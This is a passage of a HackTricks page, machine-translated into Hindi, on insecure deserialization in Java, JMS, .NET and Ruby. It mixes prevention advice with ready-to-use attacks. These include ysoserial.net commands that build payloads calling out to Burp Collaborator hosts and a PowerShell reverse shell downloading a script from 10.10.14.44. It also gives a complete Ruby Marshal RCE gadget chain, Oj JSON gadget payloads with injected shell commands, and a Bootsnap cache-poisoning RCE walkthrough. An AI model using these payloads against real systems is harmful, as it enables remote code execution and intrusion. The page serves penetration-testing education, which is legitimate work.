  • JMX (Java Management Extensions): JMX नेटवर्क पर ऑब्जेक्ट्स को भेजने के लिए serialization का उपयोग करता है।
  • Custom Protocols: Java में, मानक प्रथा कच्चे Java ऑब्जेक्ट्स के संचरण में शामिल होती है, जिसे आगामी exploit उदाहरणों में प्रदर्शित किया जाएगा।

Prevention

Transient objects

एक वर्ग जो Serializable को लागू करता है, वह वर्ग के अंदर किसी भी ऑब्जेक्ट को transient के रूप में लागू कर सकता है जिसे serializable नहीं होना चाहिए। उदाहरण:

java
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

एक क्लास का Serialization करने से बचें जिसे Serializable लागू करने की आवश्यकता है

उन परिदृश्यों में जहां कुछ objects को Serializable इंटरफेस लागू करना आवश्यक है क्योंकि क्लास हायरार्की के कारण, अनजाने में deserialization का जोखिम होता है। इसे रोकने के लिए, सुनिश्चित करें कि ये objects non-deserializable हैं, एक final readObject() मेथड को परिभाषित करके जो लगातार एक अपवाद फेंकता है, जैसा कि नीचे दिखाया गया है:

java
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Java में Deserialization सुरक्षा बढ़ाना

java.io.ObjectInputStream को कस्टमाइज़ करना deserialization प्रक्रियाओं को सुरक्षित करने के लिए एक व्यावहारिक दृष्टिकोण है। यह विधि तब उपयुक्त है जब:

  • Deserialization कोड आपके नियंत्रण में है।
  • Deserialization के लिए अपेक्षित कक्षाएँ ज्ञात हैं।

resolveClass() विधि को ओवरराइड करें ताकि केवल अनुमत कक्षाओं तक deserialization सीमित हो सके। यह किसी भी कक्षा के deserialization को रोकता है सिवाय उन कक्षाओं के जो स्पष्ट रूप से अनुमति दी गई हैं, जैसे कि निम्नलिखित उदाहरण में जो deserialization को केवल Bicycle कक्षा तक सीमित करता है:

java
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

सुरक्षा सुधार के लिए एक जावा एजेंट का उपयोग तब एक बैकअप समाधान प्रदान करता है जब कोड संशोधन संभव नहीं होता। यह विधि मुख्य रूप से हानिकारक कक्षाओं की ब्लैकलिस्टिंग के लिए लागू होती है, एक JVM पैरामीटर का उपयोग करते हुए:

-javaagent:name-of-agent.jar

यह एक ऐसा तरीका प्रदान करता है जिससे डेसिरियलाइजेशन को गतिशील रूप से सुरक्षित किया जा सकता है, जो उन वातावरणों के लिए आदर्श है जहाँ तात्कालिक कोड परिवर्तन व्यावहारिक नहीं हैं।

एक उदाहरण देखें rO0 by Contrast Security

सिरियलाइजेशन फ़िल्टर लागू करना: Java 9 ने ObjectInputFilter इंटरफ़ेस के माध्यम से सिरियलाइजेशन फ़िल्टर पेश किए, जो डेसिरियलाइजेशन से पहले सिरियलाइज्ड ऑब्जेक्ट्स को पूरा करने के लिए आवश्यक मानदंडों को निर्दिष्ट करने के लिए एक शक्तिशाली तंत्र प्रदान करते हैं। इन फ़िल्टरों को वैश्विक रूप से या प्रति स्ट्रीम लागू किया जा सकता है, जो डेसिरियलाइजेशन प्रक्रिया पर बारीक नियंत्रण प्रदान करता है।

सिरियलाइजेशन फ़िल्टर का उपयोग करने के लिए, आप एक वैश्विक फ़िल्टर सेट कर सकते हैं जो सभी डेसिरियलाइजेशन ऑपरेशनों पर लागू होता है या इसे विशिष्ट स्ट्रीम के लिए गतिशील रूप से कॉन्फ़िगर कर सकते हैं। उदाहरण के लिए:

java
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

बाहरी पुस्तकालयों का उपयोग करके सुरक्षा में सुधार: पुस्तकालय जैसे NotSoSerial, jdeserialize, और Kryo जावा डीसिरियलाइजेशन को नियंत्रित और मॉनिटर करने के लिए उन्नत सुविधाएँ प्रदान करते हैं। ये पुस्तकालय अतिरिक्त सुरक्षा परतें प्रदान कर सकते हैं, जैसे कि कक्षाओं की व्हाइटलिस्टिंग या ब्लैकलिस्टिंग, डीसिरियलाइजेशन से पहले अनुक्रमित वस्तुओं का विश्लेषण करना, और कस्टम अनुक्रमण रणनीतियों को लागू करना।

  • NotSoSerial अविश्वसनीय कोड के निष्पादन को रोकने के लिए डीसिरियलाइजेशन प्रक्रियाओं को इंटरसेप्ट करता है।
  • jdeserialize अनुक्रमित जावा वस्तुओं का विश्लेषण करने की अनुमति देता है बिना उन्हें डीसिरियलाइज किए, संभावित रूप से दुर्भावनापूर्ण सामग्री की पहचान करने में मदद करता है।
  • Kryo एक वैकल्पिक अनुक्रमण ढांचा है जो गति और दक्षता पर जोर देता है, कॉन्फ़िगर करने योग्य अनुक्रमण रणनीतियाँ प्रदान करता है जो सुरक्षा को बढ़ा सकती हैं।

संदर्भ

JNDI इंजेक्शन और log4Shell

जानें कि JNDI इंजेक्शन क्या है, इसे RMI, CORBA और LDAP के माध्यम से कैसे दुरुपयोग किया जा सकता है और log4shell का शोषण कैसे किया जा सकता है (और इस भेद्यता का उदाहरण) निम्नलिखित पृष्ठ में:

JNDI - Java Naming and Directory Interface & Log4Shell

JMS - जावा संदेश सेवा

जावा संदेश सेवा (JMS) API एक जावा संदेश-उन्मुख मिडलवेयर API है जो दो या अधिक क्लाइंट के बीच संदेश भेजने के लिए है। यह उत्पादक-उपभोक्ता समस्या को संभालने के लिए एक कार्यान्वयन है। JMS जावा प्लेटफ़ॉर्म, एंटरप्राइज संस्करण (Java EE) का एक हिस्सा है, और इसे सन माइक्रोसिस्टम्स द्वारा विकसित एक विनिर्देशन द्वारा परिभाषित किया गया था, लेकिन जिसे बाद में जावा समुदाय प्रक्रिया द्वारा मार्गदर्शित किया गया है। यह एक संदेश मानक है जो जावा EE पर आधारित अनुप्रयोग घटकों को संदेश बनाने, भेजने, प्राप्त करने और पढ़ने की अनुमति देता है। यह एक वितरित अनुप्रयोग के विभिन्न घटकों के बीच संचार को ढीला, विश्वसनीय और असिंक्रोनस बनाता है। (स्रोत विकिपीडिया)।

उत्पाद

इस मिडलवेयर का उपयोग करके संदेश भेजने वाले कई उत्पाद हैं:

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

शोषण

तो, मूल रूप से, JMS का उपयोग करने वाली कई सेवाएँ खतरनाक तरीके से हैं। इसलिए, यदि आपके पास इन सेवाओं को संदेश भेजने के लिए पर्याप्त विशेषाधिकार हैं (आमतौर पर आपको मान्य क्रेडेंशियल की आवश्यकता होगी) तो आप दुर्भावनापूर्ण वस्तुएँ भेजने में सक्षम हो सकते हैं जो उपभोक्ता/सदस्य द्वारा डीसिरियलाइज की जाएंगी
इसका मतलब है कि इस शोषण में सभी क्लाइंट जो उस संदेश का उपयोग करने जा रहे हैं संक्रमित हो जाएंगे

आपको याद रखना चाहिए कि भले ही कोई सेवा कमजोर हो (क्योंकि यह उपयोगकर्ता इनपुट को असुरक्षित रूप से डीसिरियलाइज कर रही है) आपको अभी भी भेद्यता का शोषण करने के लिए मान्य गैजेट्स खोजने की आवश्यकता है।

उपकरण JMET को इन सेवाओं से कनेक्ट और हमला करने के लिए बनाया गया था, जो ज्ञात गैजेट्स का उपयोग करके कई दुर्भावनापूर्ण वस्तुएँ भेजता है। ये शोषण तब काम करेंगे जब सेवा अभी भी कमजोर हो और यदि उपयोग किए गए गैजेट्स में से कोई भी कमजोर अनुप्रयोग के अंदर हो।

संदर्भ

.Net

. Net के संदर्भ में, डीसिरियलाइजेशन शोषण जावा में पाए जाने वाले तरीकों के समान काम करते हैं, जहाँ गैजेट्स का शोषण किया जाता है ताकि किसी वस्तु के डीसिरियलाइजेशन के दौरान विशिष्ट कोड चल सके।

फिंगरप्रिंट

व्हाइटबॉक्स

स्रोत कोड में निम्नलिखित की घटनाओं की जांच की जानी चाहिए:

  1. TypeNameHandling
  2. JavaScriptTypeResolver

ध्यान उन अनुक्रमकों पर होना चाहिए जो उपयोगकर्ता नियंत्रण के तहत एक चर द्वारा प्रकार निर्धारित करने की अनुमति देते हैं।

ब्लैकबॉक्स

खोज को बेस64 एन्कोडेड स्ट्रिंग AAEAAAD///// या किसी समान पैटर्न पर लक्षित करना चाहिए जो सर्वर-साइड पर डीसिरियलाइज हो सकता है, जिससे डीसिरियलाइज होने वाले प्रकार पर नियंत्रण प्राप्त होता है। इसमें JSON या XML संरचनाएँ शामिल हो सकती हैं जिनमें TypeObject या $type हो।

ysoserial.net

इस मामले में आप उपकरण ysoserial.net का उपयोग कर सकते हैं ताकि डीसिरियलाइजेशन शोषण बनाए जा सकें। एक बार git रिपॉजिटरी डाउनलोड करने के बाद, आपको उपकरण को संकलित करना चाहिए, उदाहरण के लिए, विज़ुअल स्टूडियो का उपयोग करके।

यदि आप जानना चाहते हैं कि ysoserial.net अपने शोषण को कैसे बनाता है तो आप इस पृष्ठ को देख सकते हैं जहाँ ObjectDataProvider गैजेट + ExpandedWrapper + Json.Net फॉर्मेटर की व्याख्या की गई है

ysoserial.net के मुख्य विकल्प हैं: --gadget, --formatter, --output और --plugin

  • --gadget का उपयोग शोषण के लिए गैजेट को इंगित करने के लिए किया जाता है (उस कक्षा/कार्य को इंगित करें जिसका शोषण डीसिरियलाइजेशन के दौरान आदेश निष्पादित करने के लिए किया जाएगा)।
  • --formatter, शोषण को अनुक्रमित करने के लिए विधि को इंगित करने के लिए उपयोग किया जाता है (आपको यह जानने की आवश्यकता है कि बैक-एंड किस पुस्तकालय का उपयोग कर रहा है ताकि लोड को डीसिरियलाइज किया जा सके और उसी का उपयोग करके इसे अनुक्रमित किया जा सके)।
  • --output का उपयोग यह इंगित करने के लिए किया जाता है कि क्या आप शोषण को कच्चे या बेस64 एन्कोडेड रूप में चाहते हैं। ध्यान दें कि ysoserial.net लोड को UTF-16LE का उपयोग करके एन्कोड करेगा (जो विंडोज़ पर डिफ़ॉल्ट रूप से उपयोग किया जाने वाला एन्कोडिंग है) इसलिए यदि आप कच्चे लोड को प्राप्त करते हैं और इसे लिनक्स कंसोल से केवल एन्कोड करते हैं तो आपको कुछ एन्कोडिंग संगतता समस्याएँ हो सकती हैं जो शोषण को सही तरीके से काम करने से रोकेंगी (HTB JSON बॉक्स में लोड UTF-16LE और ASCII दोनों में काम करता है लेकिन इसका मतलब यह नहीं है कि यह हमेशा काम करेगा)।
  • --plugin ysoserial.net विशिष्ट ढांचों के लिए शोषण बनाने के लिए प्लगइन्स का समर्थन करता है जैसे ViewState

अधिक ysoserial.net पैरामीटर

  • --minify एक छोटा लोड प्रदान करेगा (यदि संभव हो)।
  • --raf -f Json.Net -c "anything" यह सभी गैजेट्स को इंगित करेगा जो एक प्रदान किए गए फॉर्मेटर (Json.Net इस मामले में) के साथ उपयोग किए जा सकते हैं।
  • --sf xml आप एक गैजेट (-g) को इंगित कर सकते हैं और ysoserial.net "xml" (केस संवेदनशील नहीं) वाले फॉर्मेटर्स की खोज करेगा।

ysoserial उदाहरण शोषण बनाने के लिए:

bash
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net में एक बहुत दिलचस्प पैरामीटर है जो हर एक्सप्लॉइट कैसे काम करता है, इसे बेहतर समझने में मदद करता है: --test
यदि आप इस पैरामीटर को इंगित करते हैं, तो ysoserial.net स्थानीय रूप से एक्सप्लॉइट को परीक्षण करेगा, ताकि आप यह परीक्षण कर सकें कि आपका पेलोड सही ढंग से काम करेगा या नहीं।
यह पैरामीटर सहायक है क्योंकि यदि आप कोड की समीक्षा करते हैं, तो आप निम्नलिखित कोड के टुकड़े पाएंगे (से ObjectDataProviderGenerator.cs):

java
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

इसका मतलब है कि एक्सप्लॉइट का परीक्षण करने के लिए कोड serializersHelper.JsonNet_deserialize को कॉल करेगा।

java
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

In the पिछले कोड में बनाए गए एक्सप्लॉइट के लिए संवेदनशीलता है। इसलिए यदि आप किसी .Net एप्लिकेशन में कुछ समान पाते हैं, तो इसका मतलब है कि वह एप्लिकेशन भी संभवतः संवेदनशील है।
इसलिए --test पैरामीटर हमें यह समझने की अनुमति देता है कि कौन से कोड के टुकड़े deserialization एक्सप्लॉइट के लिए संवेदनशील हैं जो ysoserial.net बना सकता है।

ViewState

कैसे __ViewState पैरामीटर का शोषण करने की कोशिश करें को देखें ताकि मनमाने कोड को निष्पादित किया जा सके। यदि आप पहले से ही पीड़ित मशीन द्वारा उपयोग किए गए रहस्यों को जानते हैं, कोड निष्पादित करने के लिए यह पोस्ट पढ़ें

Prevention

.Net में deserialization से संबंधित जोखिमों को कम करने के लिए:

  • डेटा स्ट्रीम को उनके ऑब्जेक्ट प्रकारों को परिभाषित करने की अनुमति देने से बचें। जब संभव हो, DataContractSerializer या XmlSerializer का उपयोग करें।
  • JSON.Net के लिए, TypeNameHandling को None पर सेट करें: %%%TypeNameHandling = TypeNameHandling.None%%%
  • JavaScriptSerializer का उपयोग JavaScriptTypeResolver के साथ करने से बचें।
  • उन प्रकारों को सीमित करें जिन्हें deserialized किया जा सकता है, .Net प्रकारों के अंतर्निहित जोखिमों को समझते हुए, जैसे System.IO.FileInfo, जो सर्वर फ़ाइलों की विशेषताओं को संशोधित कर सकता है, संभावित रूप से सेवा से इनकार के हमलों का कारण बन सकता है।
  • खतरनाक गुणों वाले प्रकारों के साथ सतर्क रहें, जैसे System.ComponentModel.DataAnnotations.ValidationException इसके Value गुण के साथ, जिसका शोषण किया जा सकता है।
  • प्रकार के निर्माण को सुरक्षित रूप से नियंत्रित करें ताकि हमलावर deserialization प्रक्रिया को प्रभावित न कर सकें, जिससे DataContractSerializer या XmlSerializer भी संवेदनशील हो जाएं।
  • BinaryFormatter और JSON.Net के लिए एक कस्टम SerializationBinder का उपयोग करके श्वेत सूची नियंत्रण लागू करें।
  • .Net में ज्ञात असुरक्षित deserialization गैजेट्स के बारे में सूचित रहें और सुनिश्चित करें कि deserializers ऐसे प्रकारों को इंस्टेंटिएट न करें।
  • संभावित रूप से जोखिम भरे कोड को इंटरनेट एक्सेस वाले कोड से अलग करें ताकि ज्ञात गैजेट्स, जैसे WPF एप्लिकेशनों में System.Windows.Data.ObjectDataProvider, को अविश्वसनीय डेटा स्रोतों के लिए उजागर न किया जा सके।

References

Ruby

Ruby में, serialization marshal पुस्तकालय के भीतर दो विधियों द्वारा सुगम बनाया गया है। पहली विधि, जिसे dump के रूप में जाना जाता है, एक ऑब्जेक्ट को बाइट स्ट्रीम में परिवर्तित करने के लिए उपयोग की जाती है। इस प्रक्रिया को serialization कहा जाता है। इसके विपरीत, दूसरी विधि, load, एक बाइट स्ट्रीम को वापस एक ऑब्जेक्ट में परिवर्तित करने के लिए उपयोग की जाती है, जिसे deserialization कहा जाता है।

सिरियलाइज्ड ऑब्जेक्ट्स को सुरक्षित करने के लिए, Ruby HMAC (Hash-Based Message Authentication Code) का उपयोग करता है, जो डेटा की अखंडता और प्रामाणिकता सुनिश्चित करता है। इस उद्देश्य के लिए उपयोग की जाने वाली कुंजी कई संभावित स्थानों में से एक में संग्रहीत होती है:

  • config/environment.rb
  • config/initializers/secret_token.rb
  • config/secrets.yml
  • /proc/self/environ

Ruby 2.X सामान्य deserialization से RCE गैजेट श्रृंखला (अधिक जानकारी के लिए https://www.elttam.com/blog/ruby-deserialization/):

ruby
#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

अन्य RCE श्रृंखला Ruby On Rails का शोषण करने के लिए: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Ruby .send() विधि

जैसा कि इस सुरक्षा रिपोर्ट में समझाया गया है, यदि कुछ उपयोगकर्ता का असंसाधित इनपुट एक ruby ऑब्जेक्ट की .send() विधि तक पहुँचता है, तो यह विधि ऑब्जेक्ट के किसी भी अन्य विधि को किसी भी पैरामीटर के साथ आमंत्रित करने की अनुमति देती है।

उदाहरण के लिए, eval को कॉल करना और फिर ruby कोड को दूसरे पैरामीटर के रूप में देना मनमाने कोड को निष्पादित करने की अनुमति देगा:

ruby
<Object>.send('eval', '<user input with Ruby code>') == RCE

इसके अलावा, यदि .send() का केवल एक पैरामीटर हमलावर द्वारा नियंत्रित किया जाता है, जैसा कि पिछले लेख में उल्लेख किया गया है, तो किसी भी ऐसे ऑब्जेक्ट के मेथड को कॉल करना संभव है जिसे आर्गुमेंट्स की आवश्यकता नहीं है या जिनके आर्गुमेंट्स के डिफ़ॉल्ट मान हैं।
इसके लिए, ऑब्जेक्ट के सभी मेथड्स को गिनना संभव है ताकि उन आवश्यकताओं को पूरा करने वाले कुछ दिलचस्प मेथड्स को पाया जा सके

ruby
<Object>.send('<user_input>')

# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1)  # get first repo
repo_methods = [           # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()

repo_methods.length()      # Initial number of methods => 5542

## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595

Ruby class pollution

जांचें कि कैसे एक Ruby क्लास को प्रदूषित करना और इसका दुरुपयोग करना संभव हो सकता है

Ruby _json pollution

जब शरीर में कुछ मान भेजे जाते हैं जो हैशेबल नहीं होते जैसे कि एक एरे, तो उन्हें _json नामक एक नए कुंजी में जोड़ा जाएगा। हालाँकि, एक हमलावर के लिए यह भी संभव है कि वह शरीर में _json नामक एक मान सेट करे जिसमें वह मनचाहे मान डाल सकता है। फिर, यदि बैकएंड उदाहरण के लिए एक पैरामीटर की सत्यता की जांच करता है लेकिन फिर _json पैरामीटर का उपयोग कुछ क्रिया करने के लिए करता है, तो एक प्राधिकरण बायपास किया जा सकता है।

अधिक जानकारी के लिए Ruby _json pollution पृष्ठ पर जांचें।

Other libraries

यह तकनीक इस ब्लॉग पोस्ट से ली गई थी।

अन्य Ruby पुस्तकालय हैं जिन्हें ऑब्जेक्ट्स को सीरियलाइज़ करने के लिए उपयोग किया जा सकता है और इसलिए इसका दुरुपयोग RCE प्राप्त करने के लिए असुरक्षित डेसिरियलाइजेशन के दौरान किया जा सकता है। निम्नलिखित तालिका इनमें से कुछ पुस्तकालयों और उन विधियों को दिखाती है जिन्हें वे लोड की गई पुस्तकालय के भीतर अनसीरियलाइज होने पर कॉल करते हैं (RCE प्राप्त करने के लिए दुरुपयोग करने के लिए कार्य):

LibraryInput dataKick-off method inside class
Marshal (Ruby)Binary_load
OjJSONhash (class needs to be put into hash(map) as key)
OxXMLhash (class needs to be put into hash(map) as key)
Psych (Ruby)YAMLhash (class needs to be put into hash(map) as key)
init_with
JSON (Ruby)JSONjson_create ([see notes regarding json_create at end](#table-vulnerable-sinks))

Basic example:

ruby
# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end

def hash
system(@cmd)
end
end

# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload

# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)

Oj का दुरुपयोग करने की कोशिश के मामले में, एक गैजेट क्लास मिलना संभव था जो अपने hash फ़ंक्शन के अंदर to_s को कॉल करेगा, जो spec को कॉल करेगा, जो fetch_path को कॉल करेगा, जिसे एक यादृच्छिक URL लाने के लिए बनाया जा सकता था, जो इन प्रकार की अस्वच्छ deserialization कमजोरियों का एक बड़ा डिटेक्टर प्रदान करता है।

json
{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}

इसके अलावा, यह पाया गया कि पिछले तकनीक के साथ एक फ़ोल्डर भी सिस्टम में बनाया जाता है, जो एक अन्य गैजेट का दुरुपयोग करने की आवश्यकता है ताकि इसे कुछ इस तरह से पूर्ण RCE में परिवर्तित किया जा सके:

json
{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}

Check for more details in the original post.

Bootstrap Caching

यह वास्तव में एक deserialization vuln नहीं है, लेकिन एक अच्छा ट्रिक है bootstrap caching का दुरुपयोग करने के लिए RCE प्राप्त करने के लिए एक rails एप्लिकेशन से एक मनमाने फ़ाइल लेखन के साथ (पूर्ण original post in here देखें)।

नीचे उन चरणों का संक्षिप्त सारांश है जो लेख में एक मनमाने फ़ाइल लेखन भेद्यता का शोषण करने के लिए Bootsnap caching का दुरुपयोग करने के लिए विस्तृत हैं:

  • Identify the Vulnerability and Environment

Rails ऐप की फ़ाइल अपलोड कार्यक्षमता एक हमलावर को मनमाने ढंग से फ़ाइलें लिखने की अनुमति देती है। हालांकि ऐप प्रतिबंधों के साथ चलता है (केवल कुछ निर्देशिकाएँ जैसे tmp लिखने योग्य हैं क्योंकि Docker का नॉन-रूट उपयोगकर्ता है), यह अभी भी Bootsnap कैश निर्देशिका (आमतौर पर tmp/cache/bootsnap के तहत) में लिखने की अनुमति देता है।

  • Understand Bootsnap’s Cache Mechanism

Bootsnap Rails बूट समय को संकलित Ruby कोड, YAML, और JSON फ़ाइलों को कैश करके तेज करता है। यह कैश फ़ाइलें संग्रहीत करता है जिनमें एक कैश कुंजी हेडर होता है (जैसे Ruby संस्करण, फ़ाइल आकार, mtime, संकलन विकल्प, आदि के साथ फ़ील्ड) उसके बाद संकलित कोड होता है। इस हेडर का उपयोग ऐप स्टार्टअप के दौरान कैश को मान्य करने के लिए किया जाता है।

  • Gather File Metadata

हमलावर पहले एक लक्षित फ़ाइल का चयन करता है जो संभवतः Rails स्टार्टअप के दौरान लोड होती है (उदाहरण के लिए, Ruby के मानक पुस्तकालय से set.rb)। कंटेनर के अंदर Ruby कोड निष्पादित करके, वे महत्वपूर्ण मेटाडेटा (जैसे RUBY_VERSION, RUBY_REVISION, आकार, mtime, और compile_option) निकालते हैं। यह डेटा एक मान्य कैश कुंजी बनाने के लिए आवश्यक है।

  • Compute the Cache File Path

Bootsnap के FNV-1a 64-बिट हैश तंत्र की नकल करके, सही कैश फ़ाइल पथ निर्धारित किया जाता है। यह कदम सुनिश्चित करता है कि दुर्भावनापूर्ण कैश फ़ाइल ठीक उसी स्थान पर रखी गई है जहाँ Bootsnap इसे अपेक्षित करता है (जैसे, tmp/cache/bootsnap/compile-cache-iseq/ के तहत)।

  • Craft the Malicious Cache File

हमलावर एक पेलोड तैयार करता है जो:

  • मनमाने आदेशों को निष्पादित करता है (उदाहरण के लिए, प्रक्रिया जानकारी दिखाने के लिए id चलाना)।
  • निष्पादन के बाद दुर्भावनापूर्ण कैश को हटा देता है ताकि पुनरावृत्त शोषण को रोका जा सके।
  • एप्लिकेशन को क्रैश करने से बचाने के लिए मूल फ़ाइल (जैसे, set.rb) को लोड करता है।

यह पेलोड बाइनरी Ruby कोड में संकलित किया जाता है और एक सावधानीपूर्वक निर्मित कैश कुंजी हेडर (पूर्व में एकत्रित मेटाडेटा और Bootsnap के लिए सही संस्करण संख्या का उपयोग करके) के साथ जोड़ा जाता है।

  • Overwrite and Trigger Execution मनमाने फ़ाइल लेखन भेद्यता का उपयोग करके, हमलावर तैयार की गई कैश फ़ाइल को गणना की गई स्थान पर लिखता है। अगला, वे एक सर्वर पुनरारंभ को ट्रिगर करते हैं (tmp/restart.txt में लिखकर, जिसे Puma द्वारा मॉनिटर किया जाता है)। पुनरारंभ के दौरान, जब Rails लक्षित फ़ाइल की आवश्यकता होती है, तो दुर्भावनापूर्ण कैश फ़ाइल लोड होती है, जिससे दूरस्थ कोड निष्पादन (RCE) होता है।

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें